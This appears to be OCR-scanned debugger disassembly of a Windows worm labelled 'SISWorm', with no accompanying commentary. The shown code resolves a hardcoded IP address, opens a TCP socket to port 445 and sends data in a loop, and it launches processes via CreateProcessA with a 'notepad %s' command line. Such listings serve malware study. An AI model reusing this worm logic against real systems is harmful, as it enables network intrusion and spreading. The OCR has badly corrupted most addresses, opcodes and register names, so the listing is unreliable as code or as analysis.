4R4ELC! . &7 ISH
4R4eCE || . 2070 Fa _EQ EDI,DWORD FTR SS:[EEF-181
ApaeCe || . AE OUs OWORD FTR ES:[EDI],DWORD PTR DS:L[ESI]
AR4ECA|] « BE OLs DWORD PTR ES:EEDIJ.DU]DRD PTR DE:[ESI]
4H4ECE|] « RS 0Ls DWORD PTR ES: [EDI].DWORD PTR DS:[ESI]
4R4ECC| ) . RS OUS DWORO PTR ES:CEDII,DWORD FTR DS:[CESI]
4R4ECO|| . eA @A =USH an
4H4ELC « EF EDI
4R4EDE || > 2045 Fa 'LEF! EF!X OWORD PTR S55:[EBP-181
4A4ED: . BA A5
4R4EDS| ) . 5@
4R4EDE || . EE2 4EOEO000E6 CQLL SISU.IOr‘m.BB4Fl4F26
qp4aele|| . 2BFE Moy ESI.ERM
4H4ED . POP_ECH
4R4EDE|| . BEFE TEST ESI,ESI
4 A<4EE! - FOFP _ECH
GR4EEL | w74 28 JE SHORT SISWorm. BB4A4F 12
4p4EEZ|) o 8085 FAFOFFFF || LER ERX,.DWORD FPTR SS: [(EEP-2181
4H4EER|] « Flags = 8
4 A4 EE] . Ba FLUSH ERX [String
4R4EEC|| . FFLIE 4@164A6@ | CALL DWORD PTR DS: [<&KERMELZZ. lstrlenAx] letrlenA
4R4EF; .« E@ PUSH ERX DataSize
4H4EFZ|] « 2085 FBFDFFFF|| LER ERX,.DWORD PTR S5:[EEP-2181
4H4EF . 58 PUSH ERH Data
4R4EFA|] . BE FLUSH EST Socket
4R4EFE|l . FFLIS DC164A6a | CALL DWORD PTR DS: [<&WSZ_ZZ.1193] send
4R4FE « B2 20E166868 PUSH 12C [Tlneout = 2EE. ms
4R4FoE|] . FF1S &C184A88|| CALL DWORD PTR DS: [<&KERMEL3Z2.Sleep>] Sleep
draFac]| . BA FUSH EST rSocket

> Ha AW W




Address |Hen dump Dizassenbly Comnent
A4252]] . FFD& CALL ESI
A435E|| » FEPS FC PUSH DWORD PTR S5: [EBP—41 hObject
A42EE|| . 2B2E 24184A66| MOV ESI,OWORD PTR DF:[<&KERNMELZ2.CloseHandle?] [ker‘nelS2.CloseHandle
A (| . FF CloseHandle
A . 8DBE SCFEFFFF| LEA ERX, DWORD PTR S5:[EBP-1641
A4360 =) USH EAX {Hs}
H4360 2025 ICFEFFFF| LEA ERX, DWORD PTR S5: [EBP-464]
A48732 S BE344A6E USH SISWorm. BE4AS400 Format = "notepad Hs™
R4272( . USH EAX s
g‘ zg « FF1S AS184RB0| CALL DWORD FTR DS:[<&USER3Z.wsprintfA>] weprintfA
= o
} E45 RE EF! EF!X DWORD FTR 55: [EEF-6A]
5 v USH EDI no=r 44 (68.)
A USH EB o
A USH EAX =
A EDA0AEEE CALL <JMP. &MSUCRT. memset mEnsEt
A4220 C4 12 ADH .
A4290 D40 E4 LEA ECH,OWORD FTR S5:[EBP-1C]
H 97D_Al 0L DWORD PTR S5: [EBP-£@1,EDI
H £:C745 D@ @S| MDY WORD PTR S%5:[EEP-3201,5
A Cll . &R 81 USH 1
Ell . 58 0OF ERX
Fll« 51 USH ECH pProcessInfo
D40 AB LEA ECH,DWORD FPTR 55: [EEF-6@]
. USH ECH pStartuplnfo
A42A: . USH EB CurrentDir
A42A! o USH EB pEnuironment
A43A o LUSH EBX Creat ionF lags
A43A7(] . 45 CC 0l OWORD PTR 55: CEBP-341, EAX
A43AA( . USH ER: InheritHandles = TRUE
A43RE(| . USH EBX pThreadSecurity
A42AC|| .« 2085 SCFEFFFF|LEA EAX, DWORD PTR S5:[EBF-464]
R4zEZ(| . 53 USH EE# DProcessSecurlty
A42ES(| . 58 USH ERR ComnandLin
A=42E4(| . 53 USH EE# HDduleFlleName
A43ES|| « FF1S 7S184R00| CALL DWORD FTR DS: [<&KERNEL3Z.CreateFrocessA>] CreateFrocessA
H4ZEE(| . B5CE TEST ERK,ERX
A42ED(| « EF FOP_EDI
A42EE|| ~74 18 JE SHDRT S15Worm. BB4A4208
A42CE(| . ER_FF Timzout = INFIMITE
A43C2|| . FFFE E4 PLISH DlLIDRD FTR 5S: [EEP-1C] [hDh
A43CE|] . FFI5 741@4R86| CALL DWORD PTR DS: [<&KERMEL32.WaitForSinglelbiect MaltForSlngLeDbJect

> o}t o] 445¥ X

o] &3] HOEHE W BulE Z=7F EA%L

+

RAddress [Hex dump Dizassembly Conment
4 . E@ PUSH ERX B
4 - EB 49830008 | CALL <JHP.&MSUCRT.memsetl mMemset
4 o .
4 . 8085 ICFYFFFF|LEA ERX,DWORD PTR S5:[EBP-8E4]
4 . 5B FUSH ERX pUSADaT 2
4 . 6A B2 FUSH 2 Requestedlersion = 2 (2.8.)
4 - EZ BBA30068 | CALL <JMP.:WS2_32.#115: WSRSt artup
4 . &8 D2414A06 PUSH SISWorm. GBd4A4102 Mame = "™211.241.82. 124"
4 - EB 16830068 | CALL <JMP.:WS2 32,4523 gethostbynane
4 SBFS Moy EDI,ERX
4 330 HOR EBX, EBX
4 SEBFE CHF EDI
4 =75 11 JNE SHDRT SISUOI‘N BA4A5205
4 . 68 C4414A0@ | PUSH SISlorm. BE4A41C4 = = "[-1 gethostbyname "
AAEZCA| ) » FFIE 92184A0E CALL DWORD PTR DS:[{&MSUCRT.perror>] perror
4RSZCE || . B2 FOP ECH
4R5zZ0a|| .~EP BERZO88E JMP SISWorm. B4RS4ES
4RSZO0E || > 53 PUSH EBX Frot o
4R5Z06(] « 6A 81 USH 1 TUDE = SDCKSTREHH
4ASZ0E|) . 6A B2 PUSH 2 Family = AF_IMET
4ASZ0A || . EE EDB2E8E80 | CALL {JMP.&WS2_S2.#23% socket
AREZ0F (| . SBFE MOU ESI,ERX
4ASZEL|| . 8SFE FF CHP ESI, -1
4ASZE4 8975 _FC MO DWORD PTR S5: [EEP-41,EST
4ASZE ~75 B7 JMZ SHORT SISWorm. BB4F!52FB
4RSZE? || « 65 BC414AB8 FUSH SISWorm, B84A41E ASCII "socket™
4ASZEE|) L ~EB D3 JMP SHORT SISlWorm. BB4F!52E29
4ASZFA | > 65 BOG1@GEE | Pl MetShort = 1BD
4HEZFE &:CP4E OC @21 MO WORD PTR SS: [EEP-241,2 [
4ASZFE S CEB2AEEE | CALL <JMP.&WS2_32. 4 ntohs
ARSI 538945 DE MO WORD PTR 553 [EBP-221, AX
A 4 B47 BC MO ERX,DWORD PTR DS: [EDI+C1
It A 8z FUSI no= &
AE3ES 2 PUSH _EBX o
AE3EA SBEE MOLY ERX, DWORD PTR DS: [EAX]
A i 2EaE MOL EAX, DWORD PTR DS: [ERX]
AE3EE 8345 EA MOL DWORD PTR S5: [EBP-261, EAX
‘E ‘1‘ 2045 E4 LEA EAX,DWORD PTR S5:[EBP-1C]
4 =
4H 3 & DAaza00a CALL <JMP. &MSUCRT.memset > MEMSET
4AS31A 304 AC AOH
4A5310 045 OC LEA EA,DWORD PTR S5: [EBP-241
R R A i@ FUSH 18 [Addrlen = 18 (16.)
IBD = 445 port
Addres- _“4eH dumD Dizassembly Comment
R I MoL EBP, ESP
BEIASE o BS 54883333 MOL ERX, SEE4
GE4A5E4E || . ES BEASEEEE | CALL SISWorm. BE4ASEEE
@E4R56E50 || . AL B8424R08 | MOY EAX, OWORD PTR DS: [4A4265]
FASEEE|) . 68 FC414AB8 PUSH SISWorm.@84A41FC <Hzr = "localhost™
HEESA|) . 8945 EC 0L OWORD PTR S5:[EBP-141,ER:
ASEED|| . ALl BC424AB8 0 ERX, DNDRD FTR DS [4A458C]
A 2|| - 8945 FA DWORD PTR 55: CE P-1@1, ER:
ASEES| | . 5045 B4 LEA ER:,DWORD PTR SS [EEP-4C]
A - 623 FB414A00 USH ST8llorm. BB4A41FE format = "MsnipoE™
A ] G USH ERX =
ASEEE 2 385 CHLL 4JMP. BMSUCRT. sprint sprintf
A 2| - 83C4 ac AOD ESP, BC
ASETE|| . 3303 HOR ECH,ECH
A =|| . 2085 EDFEFFFF LEF! ER:, OWORD PTR SS: [EBP-1131
A E|l * 2RS YTE PTR S5:[EEP+ECK-4C]
4AcES2(| . 229568 FF HDU BYTE PTR DS:[ER¥-11,00
4HEEZS| | . 8620 B AMD BYTE PTR DS: [ERX1, @
4A5E3S | . 41 INC ECH
H 2|l . 48 IMC ERX
A Al . 48 IMC ERX
4ASESE|| . B3F9 28
4HEEZE|| .~ 7L EE L JL SHORT SISlWorm. B84RASE7TE
4ASE9E(| . 53 P!
AEEZL|) . BB PUSH ESI
AEES, &7 PUSH EDI
AEES. A 58 PUSH &8 no= &8 [956.]
ASE3! - 8035 SCFFFFFF|LER ERX,OWORD PTR 5S5: [EBP-C41
ASESE|| . 68 BE124ABE | FUSH SISWorm. BA4A12ES =rc = SISWorm. BR4A1SES
ASEA - 58 PUSH ERX dest
ASEA . EZ 4ABS8008 CALL <JMP.&MSUCRT.memcpy > MEMCPY
ASER: - 8045 B4 LEA ERX,DWORD PTR S5: [EBP-4C1
ASEAZ|) . 58 L [s
ASERA|| . ES S185@E88 | CALL <JMP.&MSUCRT.strlenl ztrlen
HEEAF|) . D1EA SHL ERX,1
4AZEEL(] . 5@ PUSH _EAX n
4HEEEZ|| . 8085 ECFEFFFF|LER ERA, OWORD PTR SS:[EBP-1141
4HEEES| | . 58 PUSH ERX Sro
4ACEES| | . 2025 ECFFFFFF|LER ERX, DWORD PTR SS5: [EBP-94]
4HEEEF || . 58 PUSH ERX dest
4ASECA(| . ES ZBASEBEE | CALL <JMP.&MSUCRT.memcpy > MERSEY
4HEECE|| . 8304 1C AOD ESP, 1C
4HEECE|) . 8045 B4 LEA ERX,DWORD PTR S5: [EBF-4C]




